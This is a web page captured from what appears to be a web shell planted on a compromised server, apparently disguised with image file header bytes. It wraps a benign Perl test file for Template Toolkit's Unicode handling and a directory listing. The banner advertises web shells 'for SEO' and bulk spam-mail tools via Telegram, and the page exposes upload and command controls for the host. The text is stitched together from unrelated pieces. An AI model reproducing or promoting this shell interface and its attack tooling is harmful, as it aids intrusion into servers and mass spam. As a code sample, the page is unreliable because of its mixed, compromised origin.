����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
#============================================================= -*-perl-*-
#
# t/unicode.t
#
# Test the handling of Unicode text in templates.
#
# Written by Mark Fowler <mark@twoshortplanks.com>
#
# This is free software; you can redistribute it and/or modify it
# under the same terms as Perl itself.
#
# $Id$
# 
#========================================================================

use strict;
use warnings;
use lib qw( ./lib ../lib );
use Template::Provider;
#use Template::Test;
#ntests(20);

BEGIN {
    unless ($] > 5.007) {
        print "1..0 # Skip perl < 5.8 can't do unicode well enough\n";
        exit;
    }
}

use Template;

use File::Temp qw(tempfile tempdir);
use File::Spec::Functions;
use Cwd;

use Test::More tests => 20;


# This is 'moose...' (with slashes in the 'o's them, and the '...' as one char).
my $moose = "m\x{f8}\x{f8}se\x{2026}";

# right, create some templates in various encodings by hand
# (it's the only way to be 100% sure they contain the right text)
my %encoded_text = (
 'UTF-8'    => "\x{ef}\x{bb}\x{bf}m\x{c3}\x{b8}\x{c3}\x{b8}se\x{e2}\x{80}\x{a6}",
 'UTF-16BE' => "\x{fe}\x{ff}\x{0}m\x{0}\x{f8}\x{0}\x{f8}\x{0}s\x{0}e &",
 'UTF-16LE' => "\x{ff}\x{fe}m\x{0}\x{f8}\x{0}\x{f8}\x{0}s\x{0}e\x{0}& ",
 'UTF-32BE' => "\x{0}\x{0}\x{fe}\x{ff}\x{0}\x{0}\x{0}m\x{0}\x{0}\x{0}\x{f8}\x{0}\x{0}\x{0}\x{f8}\x{0}\x{0}\x{0}s\x{0}\x{0}\x{0}e\x{0}\x{0} &",
 'UTF-32LE' => "\x{ff}\x{fe}\x{0}\x{0}m\x{0}\x{0}\x{0}\x{f8}\x{0}\x{0}\x{0}\x{f8}\x{0}\x{0}\x{0}s\x{0}\x{0}\x{0}e\x{0}\x{0}\x{0}& \x{0}\x{0}",
);

# write those variables to temp files in a temp directory
my %filenames = (
  map { $_ => write_to_temp_file(
                filename => $_,
                text     => $encoded_text{ $_ },
                # uncomment to create files in cwd
                # dir      => cwd,
              )
   } keys %encoded_text
);

my $tempdir = create_cache_dir();

# setup template toolkit and test all the encodings
my $tt = setup_tt( tempdir => $tempdir );
test_it("first try", $tt, \%filenames, $moose);
test_it("in memory", $tt, \%filenames, $moose);

# okay, now we test everything again to see if the cache file
# was written in a consisant state
$tt = setup_tt( tempdir => $tempdir );
test_it("from cache", $tt, \%filenames, $moose);
test_it("in cache, in memory", $tt, \%filenames, $moose);


#########################################################################

sub create_cache_dir { 
    return tempdir( CLEANUP => 1 ); 
}

sub setup_tt {
    my %args = @_;
    return Template->new( ABSOLUTE => 1,
                          COMPILE_DIR => $args{tempdir},
                          COMPILE_EXT => ".ttcache");
}

sub test_it {
    local $Test::Builder::Level = $Test::Builder::Level + 1;

    my $name      = shift;
    my $tt        = shift;
    my $filenames = shift;
    my $string    = shift;

    foreach my $encoding (keys %{ $filenames })
    {
        my $output;
        $tt->process($filenames->{ $encoding },{},\$output)
            or $output = $tt->error;
        is(reasciify($output), reasciify($string), "$name - $encoding");
    }
}


#------------------------------------------------------------------------
# reascify($string)
#
# escape all the high and low chars to \x{..} sequences
#------------------------------------------------------------------------

sub reasciify {
    my $string = shift;
    $string = join '', map {
        my $ord = ord($_);
        ($ord > 127 || ($ord < 32 && $ord != 10))
            ? sprintf '\x{%x}', $ord
            : $_
        } split //, $string;
    return $string;
}


#------------------------------------------------------------------------
# write_to_temp_file( dir => $dir, filename => $file, text => $text)
#
# escape all the high and low chars to \x{..} sequences
#------------------------------------------------------------------------

sub write_to_temp_file {
    my %args = @_;

    # use a temp dir unless one was specified.  We automatically
    # delete the contents when we're done with the tempdir, where
    # otherwise we just leave the files lying around.
    unless (exists $args{dir}) { 
        $args{dir} = tempdir( CLEANUP => 1 );
    }
    
    # work out where we're going to store it
    my $temp_filename = catfile($args{dir}, $args{filename});
    
    # open a filehandle with some PerlIO magic to convert data into
    # the correct encoding with the correct BOM on the front
    open my $temp_fh, ">:raw", $temp_filename
        or die "Can't write to '$temp_filename': $!";

    # write the data out
    print $temp_fh $args{text};
    close $temp_fh;
    
    # return where we've created it
    return $temp_filename;
}

Filemanager

Name Type Size Permission Actions
lib Folder 0755
test Folder 0755
vmethods Folder 0755
README File 3.1 KB 0644
anycase.t File 2.16 KB 0644
args.t File 2.41 KB 0644
assert.t File 2.53 KB 0644
base.t File 3.58 KB 0644
binop.t File 4.82 KB 0644
block.t File 2.71 KB 0644
block_duplicate.t File 476 B 0644
blocks.t File 2.2 KB 0644
capture.t File 1.59 KB 0644
case.t File 1.46 KB 0644
chomp.t File 7.71 KB 0644
compile1.t File 2.12 KB 0644
compile2.t File 2.67 KB 0644
compile3.t File 3.75 KB 0644
compile4.t File 2.38 KB 0644
compile5.t File 3.28 KB 0644
config.t File 6.46 KB 0644
constants.t File 5.07 KB 0644
context.t File 5.87 KB 0644
datafile.t File 1.81 KB 0644
date.t File 6.73 KB 0644
date_offset.t File 2.17 KB 0644
date_utf8.t File 1.33 KB 0644
debug.t File 3.86 KB 0644
directive.t File 4.76 KB 0644
directry.t File 5.48 KB 0644
document.t File 3.58 KB 0644
dumper.t File 1.47 KB 0644
error.t File 953 B 0644
evalperl.t File 3.73 KB 0644
exception.t File 1.52 KB 0644
factory.t File 1.4 KB 0644
file.t File 2.87 KB 0644
fileline.t File 3.16 KB 0644
filter.t File 17.74 KB 0644
foreach.t File 10.31 KB 0644
format.t File 1.78 KB 0644
html.t File 2.52 KB 0644
image.t File 2.22 KB 0644
include.t File 6.04 KB 0644
iterator.t File 3.67 KB 0644
leak.t File 5.01 KB 0644
list.t File 4.41 KB 0644
load_order_vmethods_stash.t File 192 B 0644
macro.t File 2.93 KB 0644
math.t File 1.22 KB 0644
math_rand.t File 476 B 0644
meta.t File 881 B 0644
mtime-zero.t File 1.04 KB 0644
object.t File 7.23 KB 0644
outline.t File 2.29 KB 0644
outline_line.t File 971 B 0644
output.t File 2.66 KB 0644
parser.t File 4.74 KB 0644
parser2.t File 981 B 0644
plugins.t File 6.12 KB 0644
plusfile.t File 1.91 KB 0644
pod.t File 2.05 KB 0644
prefix.t File 1.46 KB 0644
proc.t File 867 B 0644
process-relative.t File 2.05 KB 0644
process.t File 1.88 KB 0644
process_dir.t File 1.84 KB 0644
provider.t File 11.08 KB 0644
ref.t File 1.63 KB 0644
scalar.t File 2.56 KB 0644
service.t File 5.07 KB 0644
skel.t File 947 B 0644
stash-xs-unicode.t File 2.03 KB 0644
stash-xs.t File 8.42 KB 0644
stash.t File 7.91 KB 0644
stashc.t File 1.6 KB 0644
stop.t File 2.72 KB 0644
strcat.t File 758 B 0644
strict.t File 1.52 KB 0644
string.t File 7.38 KB 0644
switch.t File 3.83 KB 0644
table.t File 2.68 KB 0644
tags.t File 3.63 KB 0644
template.t File 1.49 KB 0644
text.t File 2.89 KB 0644
throw.t File 1.94 KB 0644
tiedhash.t File 5.28 KB 0644
trace_vars.t File 1.11 KB 0644
try.t File 9.83 KB 0644
unicode.t File 4.55 KB 0644
url.t File 4.06 KB 0644
vars.t File 11.36 KB 0644
varsv1.t File 8.96 KB 0644
view.t File 17.43 KB 0644
while.t File 3.18 KB 0644
wrap.t File 2.63 KB 0644
wrapper.t File 3.95 KB 0644
zz-plugin-cycle.t File 1.6 KB 0644
zz-plugin-leak-gh-213.t File 2.77 KB 0644
zz-plugin-leak-rt-46691.t File 2.95 KB 0644
zz-plugin-leak.t File 2.02 KB 0644
zz-pmv.t File 1.15 KB 0644
zz-pod-coverage.t File 1.64 KB 0644
zz-pod-kwalitee.t File 776 B 0644
zz-stash-xs-leak.t File 1.59 KB 0644
zz-url2.t File 3.71 KB 0644